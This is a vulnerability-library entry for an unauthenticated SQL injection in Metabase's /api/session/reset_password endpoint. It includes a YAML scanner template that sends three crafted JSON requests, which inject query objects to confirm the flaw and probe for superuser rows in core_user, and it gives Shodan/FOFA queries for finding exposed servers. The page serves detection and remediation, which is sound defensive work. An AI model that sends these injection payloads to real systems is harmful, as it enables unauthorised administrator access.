/Vulnerability Library

Metabase - Unauthenticated SQL Injection

CVE-2026-72898
Early Release

Description

Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.

Severity

Critical

CVSS Score

10

Exploit Probability

1%

Affected Product

metabase

Published Date

August 10, 2026

Template Author

0x_akoko, pdteam

CVE-2026-72898.yaml
id: CVE-2026-72898

info:
  name: Metabase - Unauthenticated SQL Injection
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    Metabase contains a sql injection caused by improper sanitization of input in the '/reset_password' database endpoint, letting remote unauthenticated attackers gain administrator access, exploit requires no special privileges.
  impact: |
    Remote unauthenticated attackers can execute arbitrary SQL and gain administrator access to the Metabase instance.
  remediation: |
    Update to the latest version of Metabase.
  reference:
    - https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf
    - https://securityonline.info/metabase-sql-injection-zero-day-exploited/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-72898
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-72898
    epss-score: 0.01074
    epss-percentile: 0.61925
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.title:"Metabase"
    fofa-query: title="Metabase"
    product: metabase
    vendor: metabase
  tags: cve,cve2026,sqli,metabase,unauth,rce,kev,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/session/reset_password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"token":{"select":1},"password":"TestPassword1!"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "should be a string", "{:select 1}")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/session/reset_password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"token":{"select":["email","id"],"from":["core_user"],"where":["=","is_superuser",true],"limit":1},"password":"TestPassword1!"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "is_superuser", "core_user")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/session/reset_password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"token":"1_0000","password":"TestPassword1!","user-id":{"select":["id"],"from":["core_user"],"where":["=","is_superuser",true],"limit":1}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "Invalid reset token")'
          - '!contains(body, "disallowed key")'
        condition: and
# digest: 490a00463044022076a18ef8ddca6017945292dcf7631a619935f81373477e64e235f42d8925542f02202ee778fee29945496ca4b0bd136d4a55c47db3d32ca07081abd8d6385fc437d8:922c64590222798bb761d5b6d8e72950
10.0Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE ID:
cve-2026-72898
CWE ID:
cwe-89

References

https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjfhttps://securityonline.info/metabase-sql-injection-zero-day-exploited/https://nvd.nist.gov/vuln/detail/CVE-2026-72898

Remediation Steps

Update to the latest version of Metabase.